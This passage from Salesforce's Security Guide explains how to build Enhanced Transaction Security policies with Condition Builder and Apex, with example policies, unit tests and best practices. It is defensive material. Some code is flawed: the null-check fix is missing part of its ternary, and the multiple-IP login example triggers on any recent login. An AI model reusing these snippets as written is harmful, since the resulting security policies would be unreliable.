To create, edit, and manage
3. Click Next. transaction security policies:
• Customize Application
4. Select an event that your policy is built on.
For example, if you want to track API calls in your org, select API Event. If you want to monitor
when users view or export reports, select Report Event. See Enhanced Transaction Security for the full list of available events.

5. Select your condition logic. The logic applies to the conditions that you create in the next step.
You can specify whether all conditions must be met for the policy to trigger an action, or any condition.
Select Custom Condition Logic Is Met if you want to specify more complex logic. Use parentheses and logical operators (AND,
OR, and NOT) to build the logical statements. Use numbers to represent the conditions, such as 1 for the first condition, 2 for the
second condition, and so on. For example, if you want the policy to trigger if the first condition and either the second or third
conditions are met, enter 1 AND (2 OR 3).

6. Select your conditions.

Each condition has three parts:
• The event condition you want to monitor. The available conditions depend on the event you selected earlier. For example, you
can monitor the number of rows that a user viewed in a report using the Rows Processed condition of Report Event. To monitor
Salesforce entities that API calls query, use the Queried Entities condition of API Event. To monitor the IP addresses from which
a user logged in, use the Source IP condition of Login Event.
• An operator, such as Greater Than or Starts With or Contains.
• A value that determines whether the condition is true or false. For example, if you specified the Rows Processed condition to
monitor when users viewed more than 2,000 rows in a report, enter 2000. If you specified the Queried Entities condition to
monitor API calls against leads, enter Lead. If you specified the Source IP condition to monitor user logins from a specific IP
address, enter the actual IP address, such as 192.0.2.255.

274
Salesforce Security Guide Enhanced Transaction Security

Tip: Conditions map to fields of the event storage objects, such as ApiEvent.RowsProcessesd or
LoginEvent.SourceIP. See the API documentation for possible values and examples for each field that shows up
as a condition in Condition Builder.

This example shows a policy that monitors API calls. The actions trigger if an API call queries the Lead object and either the number
of rows processed is greater than 2000 or the request took longer than 1000 milliseconds to complete. See Condition Builder Examples
for more examples.

7. Click Next.
8. Select what the policy does when triggered.
The actions available vary depending on the event type. For more information, see What Are Transaction Security Actions?

Note: The multi-factor authentication action isn’t available in the Salesforce mobile app, Lightning Experience, or via API for
any events. Instead, the block action is used. For example, if a multi-factor authentication policy is triggered on a list view
performed via the API, Salesforce blocks the API user.

9. Select who is notified and how.

10. Enter a name and description for your policy.
Your policy name can contain only underscores and alphanumeric characters and must be unique in your org. It must begin with a
letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.

11. Optionally, enable the policy.

12. Click Finish.
Important
If you customize a Condition Builder policy with the API, you must include the Flow ID (for flow API), EventName, and Type of
CustomConditionBuilderPolicy to save your policy.

IN THIS SECTION:
Condition Builder Examples
Use these examples to help you convert your own real-world use cases into Condition Builder conditions.

275
Salesforce Security Guide Enhanced Transaction Security

Condition Builder Examples

Use these examples to help you convert your own real-world use cases into Condition Builder
EDITIONS
conditions.
Available in: Salesforce
Track Report Executions Classic and Lightning
Experience
Description of Example: Track when a user views or exports more than 2,000 rows from any report
on the Lead object. Available in: Enterprise,
Unlimited, and Developer
• Event: Report Event
Editions
• Condition Logic: All Conditions Are Met
Requires Salesforce Shield
• Conditions: or Salesforce Event
– Rows Processed Greater Than 2,000 Monitoring add-on
subscriptions.
– Queried Entities Contains Lead

• Notes: Use the Contains operator, rather than Equals, to also include reports that are based
on multiple objects, one of which is Lead.

Description of Example: Track when a user views or exports a report that has a column that contains email addresses.
• Event: Report Event
• Condition Logic: All Conditions Are Met
• Conditions: Name of Columns Contains Email
• Notes: Use the Contains operator to include any of these column names: Email, Customer Email, or Email of
Customer.

Track User Logins

Description of Example: Track when a user logs in from the IP address 12.34.56.78.
• Event: Login Event

276
Salesforce Security Guide Enhanced Transaction Security

• Condition Logic: All Conditions Are Met

• Conditions: Source IP Equals 12.34.56.78
• Notes: Only the specific IP address 12.34.56.78 triggers the policy. If you want track logins from any IP addresses that start with
12.34.56, use the condition Source IP Starts With 12.34.56

Description of Example: Track when a user logs in using a Chrome browser.

• Event: Login Event
• Condition Logic: All Conditions Are Met
• Conditions: Browser Contains Chrome
• Notes: You can also track logins from the Safari and Firefox browsers.

Track API Queries and Elapsed Time

Description of Example: Track when a user uses any API to query the Lead object and the request takes longer than 1000 millisecond.
• Event: API Event
• Condition Logic: All Conditions Are Met
• Conditions:
– Queried Entities Contains Lead
– Elapsed Time Greater Than 1000

• Notes: Use the Contains operator, rather than Equals, to also include queries on multiple objects, of which one is Lead.

Track API Queries of Any List View

Description of Example: Track when a user uses any API to query any list view.
• Event: List View Event
• Condition Logic: All Conditions Are Met

277
Salesforce Security Guide Enhanced Transaction Security

• Conditions: Event Source Equals API

• Notes: To track when a user uses the UI to query a list view specify Classic or Lightning instead of API.

Track User's Session Level Security

Description of Example: Track when a user who doesn't have high assurance session-level security access (not logged in with two-factor
authentication) queries any list view.
• Event: List View Event
• Condition Logic: Any Condition Is Met
• Conditions:
– Session Level Equals LOW
– Session Level Equals STANDARD

• Notes: Use the same condition in separate transaction security policies to track when a user without high assurance executes a
report (Report Event) or an API query (API Event).

Use Custom Logic

Description of Example: Track when a user with a username in the @spy.mycompany.com domain queries all the records in a
list view named SuperSecureListView.
• Event: List View Event
• Condition Logic: Custom Condition Logic is Met
• Custom Condition Logic: (1 OR 2) AND 3
• Conditions:
– Scope Equals Everything
– Name Equals SuperSecureListView
– Username Ends With @spy.mycompany.com

• Notes:

278
Salesforce Security Guide Enhanced Transaction Security

Create an Enhanced Transaction Security Policy That Uses Apex

Use Setup to create an enhanced transaction security policy that uses Apex. You can specify an
EDITIONS
existing Apex class or create an empty class that you then code. The Apex class must implement
the TxnSecurity.EventCondition interface. Available in: Salesforce
You can create multiple policies for the same type of event, but we recommend that your policies Classic and Lightning
and their actions don’t overlap. If multiple policies with the same action for a given event execute Experience
when the event occurs, their order of execution is indeterminate. Available in: Enterprise,
1. From Setup, in the Quick Find box, enter Transaction Security, and then select Unlimited, and Developer
Transaction Security Policies. Editions
2. Click New, and then select Apex. Requires Salesforce Shield
or Salesforce Event
3. Click Next.
Monitoring add-on
4. Select an event that your policy is built on. subscriptions.
For example, if you want to track API calls in your org, select API Event. If you want to monitor
when users view or export reports, select Report Event. See Enhanced Transaction Security
for the full list of available events. USER PERMISSIONS

5. Select the Apex class that implements your policy. If you haven’t already created the class, select User Permissions Needed
New Empty Apex Class. To view and manage
6. Click Next. events:
• View Real-Time Event
7. Select the action that the policy performs when triggered. Monitoring Data
The available actions vary depending on the event type. For more information, see What Are To create, edit, and manage
Transaction Security Actions?. transaction security policies:
• Customize Application
Note: The two-factor authentication action isn’t available in the Salesforce mobile app,
Lightning Experience, or via API for events. Instead, the block action is used. For example,
if a two-factor authentication policy is triggered on a list view performed via the API,
Salesforce blocks the API user.

8. Select who is notified and how.

The users you select must have Modify All Data and View Setup permissions.

9. Enter a name and description for your policy.

Your policy name must begin with a letter, not end with an underscore, and not contain two consecutive underscores.

279
Salesforce Security Guide Enhanced Transaction Security

10. Optionally enable the policy.

If you chose to create an Apex class, don’t enable the policy yet because you must first add code to the class.

11. Click Finish.

Your new policy appears in the Policies table. If you chose to create an Apex class, its name is the 25 characters of your policy name
without spaces appended with the EventCondition string. If your policy is named “My Apex Class,” your Apex class is
auto-generated as MyApexClassEventCondition. The class is listed in the Apex Condition column.

12. Click the name of your Apex class if you want to edit it.
If you chose to create an Apex class, you must add the implementation code. Salesforce adds this basic code to get you started.
global class MyApexClassEventCondition implements TxnSecurity.EventCondition {

public boolean evaluate(SObject event) {

return false;
}

When you delete a transaction security policy that uses Apex, the implementation class isn't deleted. You can either delete this Apex
class separately or reuse it in another policy.
Don’t include DML statements in your Apex-based policies because they can cause errors. When you send a custom email via Apex
during transaction policy evaluation, you get an error, even if the record is not explicitly related to another record. For more information,
see Apex DML Operations in the Apex Developer Guide.

IN THIS SECTION:
Enhanced Apex Transaction Security Implementation Examples
Here are examples of implementing enhanced Apex transaction security.
Asynchronous Apex Example
When executing a transaction security policy, use an asynchronous Apex process to offload time-consuming operations, such as
sending a notification email to an external recipient.
Enhanced Transaction Security Apex Testing
Writing robust tests is an engineering best practice to ensure that your code does what you expect and to find errors before your
users and customers do. It’s even more important to write tests for your transaction security policy’s Apex code because it executes
during critical user actions in your Salesforce org. For example, a bug in your LoginEvent policy that’s not caught during testing can
result in locking your users out of your org, a situation best avoided.

SEE ALSO:
Apex Developer Guide: TxnSecurity.EventCondition Interface

280
Salesforce Security Guide Enhanced Transaction Security

Enhanced Apex Transaction Security Implementation Examples

Here are examples of implementing enhanced Apex transaction security.
EDITIONS

Login from Different IP Addresses Available in: Salesforce

Classic and Lightning
This example implements a policy that triggers when someone logs in from a different IP address
Experience
in the past 24 hours.
Available in: Enterprise,
Unlimited, and Developer
Editions
Requires Salesforce Shield
or Salesforce Event
Monitoring add-on
subscriptions.

global class MultipleLoginEventCondition implements TxnSecurity.EventCondition {

public boolean evaluate(SObject event) {
switch on event{
when LoginEvent loginEvent {
return evaluate(loginEvent);
}
when null {
return false;
}
when else{
return false;
}
}
}

private boolean evaluate(LoginEvent loginEvent) {

AggregateResult[] results = [SELECT SourceIp
FROM LoginHistory
WHERE UserId = :loginEvent.UserId
AND LoginTime = LAST_N_DAYS:1
GROUP BY SourceIp];
if(!results.isEmpty()) {
return true;
}
return false;
}
}

Logins from a Specific IP Address

This example implements a policy that triggers when a session is created from a specific IP address.
global class SourceIpEventCondition implements TxnSecurity.EventCondition {
public boolean evaluate(SObject event) {
switch on event{
when LoginEvent loginEvent {

281
Salesforce Security Guide Enhanced Transaction Security

return evaluate(loginEvent);
}
when null {
return false;
}
when else{
return false;
}
}
}

private boolean evaluate(LoginEvent loginEvent) {

if (loginEvent.SourceIp.equals('1.1.1.1')) {
return true;
}
return false;
}
}

Data Export
This example implements a transaction security policy that triggers when more than 2,000 leads are either:
• Viewed in the UI
• Exported with a SOQL query
• Exported from a list view
• Exported from a report
global class LeadViewAndExportCondition implements TxnSecurity.EventCondition {
public boolean evaluate(SObject event) {
switch on event{
when ApiEvent apiEvent {
return evaluate(apiEvent.QueriedEntities, apiEvent.RowsProcessed);
}
when ReportEvent reportEvent {
return evaluate(reportEvent.QueriedEntities, reportEvent.RowsProcessed);
}
when ListViewEvent listViewEvent {
return evaluate(listViewEvent.QueriedEntities, listViewEvent.RowsProcessed);

}
when null {
return false;
}
when else{
return false;
}
}
}

private boolean evaluate(String queriedEntities, Decimal rowsProcessed){

if(queriedEntities.contains('Lead') && rowsProcessed > 2000){
return true;

282
Salesforce Security Guide Enhanced Transaction Security

}
return false;
}
}

Confidential Data Access

This policy requires everyone to use two-factor authentication before accessing a specific report.
You can have sensitive, confidential data in your quarterly Salesforce reports. Make sure that teams that access the reports use two-factor
authentication (2FA) for high assurance before they view this data. The policy makes 2FA a requirement, but you can’t provide
high-assurance sessions without a way for your teams to meet the 2FA requirements. As a prerequisite, first set up 2FA in your Salesforce
environment.
This example highlights the capability of a policy to enforce 2FA for a specific report. The report defined here is any report with “Quarterly
Report” in its name. Anyone accessing the report is required to have a high-assurance session using 2FA.
global class ConfidentialDataEventCondition implements TxnSecurity.EventCondition {
public boolean evaluate(SObject event) {
switch on event{
when ReportEvent reportEvent {
return evaluate(reportEvent);
}
when null {
return false;
}
when else{
return false;
}
}
}

private boolean evaluate(ReportEvent reportEvent) {

// Check if this is a quarterly report.
if (reportEvent.Name.contains('Quarterly Report')) {
return true;
}
return false;
}
}

Browser Check
This policy triggers when a user with a known operating system and browser combination tries to log in with another browser on a
different operating system.
Many organizations have standard hardware and support specific versions of different browsers. You can use this standard to reduce
the security risk for high-impact individuals by acting when logins take place from unusual devices. For example, your CEO typically logs
in to Salesforce from San Francisco using a MacBook or Salesforce mobile application on an iPhone. When a login occurs from elsewhere
using a Chromebook, it’s highly suspicious. Because hackers do not necessarily know which platforms corporate executives use, this
policy makes a security breach less likely.

283
Salesforce Security Guide Enhanced Transaction Security

In this example, the customer organization knows that its CEO uses a MacBook running OS X with the Safari browser. An attempt to log
in using the CEO’s credentials with anything else is automatically blocked.
global class AccessEventCondition implements TxnSecurity.EventCondition {
public boolean evaluate(SObject event) {
switch on event{
when LoginEvent loginEvent {
return evaluate(loginEvent);
}
when null {
return false;
}
when else{
return false;
}
}
}

private boolean evaluate(LoginEvent loginEvent) {

// If it's a Login attempt from our CEO's user account.
if (loginEvent.UserId == '005x0000005VmCu'){
// The policy is triggered when the CEO isn’t using Safari on Mac OSX.
if (!loginEvent.Platform.contains('Mac OSX') ||
!loginEvent.Browser.contains('Safari')) {
return true;
}
}
return false;
}
}

Block Logins by Country

This policy blocks access by country.
Your organization has remote offices and a global presence but, due to international law, wants to restrict access to its Salesforce org.
This example builds a policy that blocks users logging in from North Korea. If users are in North Korea and use a corporate VPN, their VPN
gateway would be in Singapore or the United States. They can log in successfully because Salesforce recognizes the VPN gateway and
the internal U.S.-based company IP address.
global class CountryEventCondition implements TxnSecurity.EventCondition {
public boolean evaluate(SObject event) {
switch on event{
when LoginEvent loginEvent {
return evaluate(loginEvent);
}
when null {
return false;
}
when else{
return false;
}
}
}

284
Salesforce Security Guide Enhanced Transaction Security

private boolean evaluate(LoginEvent loginEvent) {

// Get the login's country.
String country = String.valueOf(loginEvent.Country);

// Trigger policy and block access for any user trying to log in from North Korea.

if(country.equals('North Korea')) {
return true;
}
return false;
}
}

You can also restrict access to other values, like postal code or city.

Block an Operating System

This policy blocks access for anyone using an older version of the Android OS.
You’re concerned about a specific mobile platform’s vulnerabilities and its ability to capture screenshots and read data while accessing
Salesforce. If the device is not running a security client, you could restrict access from device platforms that use operating systems with
known vulnerabilities. This policy blocks devices using Android 5.0 and earlier.
global class AndroidEventCondition implements TxnSecurity.EventCondition {
public boolean evaluate(SObject event) {
switch on event{
when LoginEvent loginEvent {
return evaluate(loginEvent);
}
when null {
return false;
}
when else{
return false;
}
}
}

private boolean evaluate(LoginEvent loginEvent) {

String platform = loginEvent.Platform;
// Block access from Android versions less than 5
if (platform.contains('Android') && platform.compareTo('Android 5') < 0) {
return true;
}
return false;
}
}

SEE ALSO:
Apex Developer Guide: TxnSecurity.EventCondition Interface

285
Salesforce Security Guide Enhanced Transaction Security

Asynchronous Apex Example

When executing a transaction security policy, use an asynchronous Apex process to offload
EDITIONS
time-consuming operations, such as sending a notification email to an external recipient.
This example has two parts. First, you create an asynchronous Apex class that uses an event within Available in: Salesforce
the execute method to invoke a callout or a DML operation. Second, you create a transaction security Classic and Lightning
policy and modify the Apex class to implement TxnSecurity.EventCondition and Experience
TxnSecurity.AsyncCondition.
Available in: Enterprise,
TxnSecurity.AsyncCondition enqueues the asynchronous Apex process when you trigger the Unlimited, and Developer
transaction security policy. Editions

Note: Only DML operations and callouts are supported when you use asynchronous Apex Requires Salesforce Shield
or Salesforce Event
with an enhanced transaction security policy.
Monitoring add-on
subscriptions.
Create Asynchronous Apex Class
In this section, you create an asynchronous Apex class that takes in an SObject. In this example, we
use ApiEvent. Then you invoke a callout or a DML operation.
public class SimpleAsynchronousApex implements Queueable {
private ApiEvent apiEvent;

public SimpleAsynchronousApex(ApiEvent apiEvent) {

this.apiEvent = apiEvent;
}

public void execute(QueueableContext context) {

// Perform your callout to external validation service
// or a DML operation
}
}

Create Policy
In this section, you create the transaction security policy, which modifies the Apex class associated with the policy. Then you create the
SimpleAsynchronousApex object, pass in the ApiEvent, and enqueue the job.
global class SimpleApiEventCondition implements TxnSecurity.EventCondition,
TxnSecurity.AsyncCondition {
public boolean evaluate(SObject event) {
// Cast SObject to an ApiEvent object
ApiEvent apiEvent = (ApiEvent) event;
SimpleAsynchronousApex simpleAsynchronousApex = new SimpleAsynchronousApex(apiEvent);

System.enqueueJob(simpleAsynchronousApex);
return false;
// In a typical implementation may return true if it triggers an action

286
Salesforce Security Guide Enhanced Transaction Security

}
}

SEE ALSO:
Apex Developer Guide: Queueable Apex
Apex Developer Guide: Apex Implementation Examples
Apex Developer Guide: Asynchronous Apex
Apex Developer Guide: Invoking Callouts Using Apex

Enhanced Transaction Security Apex Testing

Writing robust tests is an engineering best practice to ensure that your code does what you expect
EDITIONS
and to find errors before your users and customers do. It’s even more important to write tests for
your transaction security policy’s Apex code because it executes during critical user actions in your Available in: Salesforce
Salesforce org. For example, a bug in your LoginEvent policy that’s not caught during testing can Classic and Lightning
result in locking your users out of your org, a situation best avoided. Experience
Warning: Use API version 47.0 or later when writing Apex tests for enhanced transaction Available in: Enterprise,
security policies. Unlimited, and Developer
When you test your Apex code by simulating a set of conditions, you are by definition writing unit Editions
tests. But writing unit tests isn’t enough. Work with your business and security teams to understand Requires Salesforce Shield
all your use cases. Then create a comprehensive test plan that mimics your actual users’ experience or Salesforce Event
using test data in a sandbox environment. The test plan typically includes both manual testing and Monitoring add-on
automated testing using external tools such as Selenium. subscriptions.

Let’s look at some sample unit tests to get you started. Here’s the Apex policy that we want to test.

global class LeadExportEventCondition implements TxnSecurity.EventCondition {

public boolean evaluate(SObject event) {
switch on event{
when ApiEvent apiEvent {
return evaluate(apiEvent.QueriedEntities, apiEvent.RowsProcessed);
}
when ReportEvent reportEvent {
return evaluate(reportEvent.QueriedEntities, reportEvent.RowsProcessed);
}
when ListViewEvent listViewEvent {
return evaluate(listViewEvent.QueriedEntities, listViewEvent.RowsProcessed);

}
when null {
return false;
}
when else {
return false;
}
}
}

private boolean evaluate(String queriedEntities, Decimal rowsProcessed){

if (queriedEntities.contains('Lead') && rowsProcessed > 2000){

287
Salesforce Security Guide Enhanced Transaction Security

return true;
}
return false;
}
}

Plan and Write Tests

Before we start writing tests, let’s outline the positive and negative use cases that our test plan covers.

Table 4: Positive Test Cases

If the evaluate method receives... And ... Then the evaluate method
returns...
An ApiEvent object The ApiEvent has Lead in its true
QueriedEntities field and a number
greater than 2000 in its RowsProcessed
field

A ReportEvent object The ReportEvent has Lead in its true

QueriedEntities field and a number
greater than 2000 in its RowsProcessed
field

A ListViewEvent object The ListViewEvent has Lead in its true

QueriedEntities field and a number
greater than 2000 in its RowsProcessed
field

Any event object The event doesn’t have Lead in its false
QueriedEntities field and has a
number greater than 2000 in its
RowsProcessed field

Any event object The event has Lead in its false

QueriedEntities field and has a
number less than or equal to 2000 in its
RowsProcessed field

Any event object The event doesn’t have Lead in its false
QueriedEntities field and has a
number less than or equal to 2000 in its
RowsProcessed field

Table 5: Negative Test Cases

If the evaluate method receives... And ... Then the evaluate method
returns...
A LoginEvent object (no condition) false

A null value (no condition) false

288
Salesforce Security Guide Enhanced Transaction Security

If the evaluate method receives... And ... Then the evaluate method
returns...
An ApiEvent object The QueriedEntities field is null false

A ReportEvent object The RowsProcessed field is null false

Here’s the Apex testing code that implements all of these use cases.
/**
* Tests for the LeadExportEventCondition class, to make sure that our Transaction Security
Apex
* logic handles events and event field values as expected.
**/
@isTest
public class LeadExportEventConditionTest {

/**
* ------------ POSITIVE TEST CASES ------------
** /

/**
* Positive test case 1: If an ApiEvent has Lead as a queried entity and more than
2000 rows
* processed, then the evaluate method of our policy's Apex should return true.
**/
static testMethod void testApiEventPositiveTestCase() {
// set up our event and its field values
ApiEvent testEvent = new ApiEvent();
testEvent.QueriedEntities = 'Account, Lead';
testEvent.RowsProcessed = 2001;

// test that the Apex returns true for this event

LeadExportEventCondition eventCondition = new LeadExportEventCondition();
System.assert(eventCondition.evaluate(testEvent));
}

/**
* Positive test case 2: If a ReportEvent has Lead as a queried entity and more than
2000 rows
* processed, then the evaluate method of our policy's Apex should return true.
**/
static testMethod void testReportEventPositiveTestCase() {
// set up our event and its field values
ReportEvent testEvent = new ReportEvent();
testEvent.QueriedEntities = 'Account, Lead';
testEvent.RowsProcessed = 2001;

// test that the Apex returns true for this event

LeadExportEventCondition eventCondition = new LeadExportEventCondition();
System.assert(eventCondition.evaluate(testEvent));
}

289
Salesforce Security Guide Enhanced Transaction Security

/**
* Positive test case 3: If a ListViewEvent has Lead as a queried entity and more
than 2000 rows
* processed, then the evaluate method of our policy's Apex should return true.
**/
static testMethod void testListViewEventPositiveTestCase() {
// set up our event and its field values
ListViewEvent testEvent = new ListViewEvent();
testEvent.QueriedEntities = 'Account, Lead';
testEvent.RowsProcessed = 2001;

// test that the Apex returns true for this event

LeadExportEventCondition eventCondition = new LeadExportEventCondition();
System.assert(eventCondition.evaluate(testEvent));
}

/**
* Positive test case 4: If an event does not have Lead as a queried entity and has
more
* than 2000 rows processed, then the evaluate method of our policy's Apex
* should return false.
**/
static testMethod void testOtherQueriedEntityPositiveTestCase() {
// set up our event and its field values
ApiEvent testEvent = new ApiEvent();
testEvent.QueriedEntities = 'Account';
testEvent.RowsProcessed = 2001;

// test that the Apex returns false for this event

LeadExportEventCondition eventCondition = new LeadExportEventCondition();
System.assertEquals(false, eventCondition.evaluate(testEvent));
}

/**
* Positive test case 5: If an event has Lead as a queried entity and does not have

* more than 2000 rows processed, then the evaluate method of our policy's Apex
* should return false.
**/
static testMethod void testFewerRowsProcessedPositiveTestCase() {
// set up our event and its field values
ReportEvent testEvent = new ReportEvent();
testEvent.QueriedEntities = 'Account, Lead';
testEvent.RowsProcessed = 2000;

// test that the Apex returns false for this event

LeadExportEventCondition eventCondition = new LeadExportEventCondition();
System.assertEquals(false, eventCondition.evaluate(testEvent));
}

/**
* Positive test case 6: If an event does not have Lead as a queried entity and does
not have
* more than 2000 rows processed, then the evaluate method of our policy's Apex

290
Salesforce Security Guide Enhanced Transaction Security

* should return false.

**/
static testMethod void testNoConditionsMetPositiveTestCase() {
// set up our event and its field values
ListViewEvent testEvent = new ListViewEvent();
testEvent.QueriedEntities = 'Account';
testEvent.RowsProcessed = 2000;

// test that the Apex returns false for this event

LeadExportEventCondition eventCondition = new LeadExportEventCondition();
System.assertEquals(false, eventCondition.evaluate(testEvent));
}

/**
* ------------ NEGATIVE TEST CASES ------------
**/

/**
* Negative test case 1: If an event is a type other than ApiEvent, ReportEvent, or
ListViewEvent,
* then the evaluate method of our policy's Apex should return false.
**/
static testMethod void testOtherEventObject() {
LoginEvent loginEvent = new LoginEvent();
LeadExportEventCondition eventCondition = new LeadExportEventCondition();
System.assertEquals(false, eventCondition.evaluate(loginEvent));
}

/**
* Negative test case 2: If an event is null, then the evaluate method of our policy's

* Apex should return false.

**/
static testMethod void testNullEventObject() {
LeadExportEventCondition eventCondition = new LeadExportEventCondition();
System.assertEquals(false, eventCondition.evaluate(null));
}

/**
* Negative test case 3: If an event has a null QueriedEntities value, then the
evaluate method
* of our policy's Apex should return false.
**/
static testMethod void testNullQueriedEntities() {
ApiEvent testEvent = new ApiEvent();
testEvent.QueriedEntities = null;
testEvent.RowsProcessed = 2001;

LeadExportEventCondition eventCondition = new LeadExportEventCondition();

System.assertEquals(false, eventCondition.evaluate(testEvent));
}

/**
* Negative test case 4: If an event has a null RowsProcessed value, then the evaluate

291
Salesforce Security Guide Enhanced Transaction Security

method
* of our policy's Apex should return false.
**/
static testMethod void testNullRowsProcessed() {
ReportEvent testEvent = new ReportEvent();
testEvent.QueriedEntities = 'Account, Lead';
testEvent.RowsProcessed = null;

LeadExportEventCondition eventCondition = new LeadExportEventCondition();

System.assertEquals(false, eventCondition.evaluate(testEvent));
}
}

Refine the Policy Code After Running the Tests

Let's say you run the tests and the testNullQueriedEntities test case fails with the error
System.NullPointerException: Attempt to de-reference a null object. Great news, the tests identified
an area of the transaction security policy that isn't checking for unexpected or null values. Because policies run during critical org
operations, make sure that the policies fail gracefully if there's an error so that they don't block important functionality.
Here's how to update the evaluate method in the Apex class to handle those null values gracefully.
private boolean evaluate(String queriedEntities, Decimal rowsProcessed) {
boolean containsLead = queriedEntities != null ? queriedEntities.contains('Lead')
if (containsLead && rowsProcessed > 2000){
return true;
}
return false;
}

We’ve changed the code so that before performing the .contains operation on the queriedEntities variable, we first check
if the value is null. This change ensures that the code doesn’t dereference a null object.
In general, when you encounter unexpected values or situations in your Apex code, you have two options:
• Ignore the values or situation and return false so that the policy doesn't trigger.
• Fail-close the operation by returning true.
Determine what is best for your users when deciding which option to choose.

Advanced Example
Here's a more complex Apex policy that uses SOQL queries to get the profile of the user who is attempting to log in.
global class ProfileIdentityEventCondition implements TxnSecurity.EventCondition {

// For these powerful profiles, let's prompt users to complete 2FA

private Set<String> PROFILES_TO_MONITOR = new Set<String> {
'System Administrator',
'Custom Admin Profile'
};

public boolean evaluate(SObject event) {

LoginEvent loginEvent = (LoginEvent) event;
String userId = loginEvent.UserId;

292
Salesforce Security Guide Enhanced Transaction Security

// get the Profile name from the current users profileId

Profile profile = [SELECT Name FROM Profile WHERE Id IN
(SELECT profileId FROM User WHERE Id = :userId)];

// check if the name of the Profile is one of the ones we want to monitor
if (PROFILES_TO_MONITOR.contains(profile.Name)) {
return true;
}

return false;
}
}

Here's our test plan:

• Positive Test Cases
– If the user attempting to log in has the profile we’re interested in monitoring, then the evaluate method returns true.
– If the user attempting to log in doesn't have the profile we’re interested in monitoring, then the evaluate method returns
false.

• Negative Test Cases

– If querying for the Profile object throws an exception, then the evaluate method returns false.
– If querying for the Profile object returns null, then the evaluate method returns false.

Because every Salesforce user is always assigned a profile, there's no need to create a negative test for it. It’s also not possible to create
actual tests for the two negative test cases. We take care of them by updating the policy itself. But we explicitly list the use cases in our
plan to make sure that we cover many different situations.
The positive test cases rely on the results of SQQL queries. To ensure that these queries execute correctly, we must also create some test
data. Let's look at the test code.
/**
* Tests for the ProfileIdentityEventCondition class, to make sure that our
* Transaction Security Apex logic handles events and event field values as expected.
**/
@isTest
public class ProfileIdentityEventConditionTest {

/**
* ------------ POSITIVE TEST CASES ------------
** /

/**
* Positive test case 1: Evaluate will return true when user has the "System
* Administrator" profile.
**/
static testMethod void testUserWithSysAdminProfile() {
// insert a User for our test which has the System Admin profile
Profile profile = [SELECT Id FROM Profile WHERE Name='System Administrator'];
assertOnProfile(profile.id, true);
}

/**

293
Salesforce Security Guide Enhanced Transaction Security

* Positive test case 2: Evaluate will return true when the user has the "Custom
* Admin Profile"
**/
static testMethod void testUserWithCustomProfile() {
// insert a User for our test which has the System Admin profile
Profile profile = [SELECT Id FROM Profile WHERE Name='Custom Admin Profile'];
assertOnProfile(profile.id, true);
}

/**
* Positive test case 3: Evalueate will return false when user doesn't have
* a profile we're interested in. In this case we'll be using a profile called
* 'Standard User'.
**/
static testMethod void testUserWithSomeProfile() {
// insert a User for our test which has the System Admin profile
Profile profile = [SELECT Id FROM Profile WHERE Name='Standard User'];
assertOnProfile(profile.id, false);
}

/**
* Helper to assert on different profiles.
**/
static void assertOnProfile(String profileId, boolean expected){
User user = createUserWithProfile(profileId);
insert user;

// set up our event and its field values

LoginEvent testEvent = new LoginEvent();
testEvent.UserId = user.Id;

// test that the Apex returns true for this event

ProfileIdentityEventCondition eventCondition = new
ProfileIdentityEventCondition();
System.assertEquals(expected, eventCondition.evaluate(testEvent));
}

/**
* Helper to create a user with the given profileId.
**/
static User createUserWithProfile(String profileId){
// Usernames have to be unique.
String username = '[email protected]';

User user = new User(Alias = 'standt', Email='[email protected]',

EmailEncodingKey='UTF-8', LastName='Testing', LanguageLocaleKey='en_US',
LocaleSidKey='en_US', ProfileId = profileId,
TimeZoneSidKey='America/Los_Angeles', UserName=username);
return user;
}
}

294
Salesforce Security Guide Enhanced Transaction Security

Let’s handle the two negative test cases by updating the transaction security policy code to check for exceptions or null results when
querying the Profile object.
global class ProfileIdentityEventCondition implements TxnSecurity.EventCondition {

// For these powerful profiles, let's prompt users to complete 2FA

private Set<String> PROFILES_TO_MONITOR = new Set<String> {
'System Administrator',
'Custom Admin Profile'
};

public boolean evaluate(SObject event) {

try{
LoginEvent loginEvent = (LoginEvent) event;
String userId = loginEvent.UserId;

// get the Profile name from the current users profileId

Profile profile = [SELECT Name FROM Profile WHERE Id IN
(SELECT profileId FROM User WHERE Id = :userId)];

if (profile == null){
return false;
}

// check if the name of the Profile is one of the ones we want to monitor
if (PROFILES_TO_MONITOR.contains(profile.Name)) {
return true;
}
return false;
} catch(Exception ex){
System.debug('Exception: ' + ex);
return false;
}
}
}

Best Practices for Writing and Maintaining Enhanced Transaction Security Policies
Transaction security policy management isn’t always easy, especially when you have many policies.
EDITIONS
To make sure that your policies remain functional, write and maintain them using these best
practices. Well-structured and tested policies keep your employees and customers connected, Available in: Salesforce
productive, and secure. Classic and Lightning
Experience
Writing Policies Available in: Enterprise,
Use these general guidelines as you write your policies. Unlimited, and Developer
Editions
Know your users
Do your users use features that work best with certain browsers? Do they rely on mobile devices Requires Salesforce Shield
or Salesforce Event
in the field? Have features that your users regularly access changed? Think about what your
Monitoring add-on
users experience during their day-to-day work, and write your policies with those behaviors in
subscriptions.
mind. Remember: Policies prevent activities that are genuinely out of bounds, and they must
not prevent users from completing core job tasks.

295
Salesforce Security Guide Enhanced Transaction Security

Know what’s coming

To check whether the features that your users rely on change, read the Salesforce release notes. Feature changes can sometimes
cause your policies to behave unexpectedly.
Know your environments
Use sandbox environments to your advantage. Run your policies in a sandbox under conditions similar to your production org. Let
policies run for 24 hours to see how they work. Use this feedback to evaluate how your policy functions in the conditions it has to
work under.
Know your policies
To avoid confusion and lighten your maintenance load, create only one policy per event. Schedule regular policy maintenance and
reviews to make sure that you don’t have policies that counteract one another. Check the Salesforce release notes for feature updates
that might change the way your policies behave.
Use these guidelines if you write an Apex-based policy rather than use Condition Builder.
Know your code
If you have an Apex developer in your organization, work with the developer as you write your policy. By consulting with someone
who knows the ins and outs of Apex, you can team up to write robust and reliable policies and tests. If you don’t have access to an
Apex expert, learn about Apex by taking the Apex Basics Trailhead module or studying the Apex Developer Guide.
Know your limits
Because Apex runs in a multi-tenant environment, the Apex runtime engine strictly enforces limits. Enforcing limits ensures that
runaway Apex code or processes don’t monopolize shared resources. If some Apex code exceeds a limit, the associated governor
issues a runtime exception that cannot be handled. Limits vary based on the event that the policy is based on. Construct your policies
with these limits in mind. Read more about Apex Governors and Limits.

Testing Policies
Testing policies is the best way to make sure that you’re crafting the right solution for your organization and your users.
• Try out your policies in a sandbox. Then deploy your security policy in a production org when you’re certain your policy works.
• If you make far-reaching changes in your org, retest your policies to make sure that they are compatible with the changes you made.
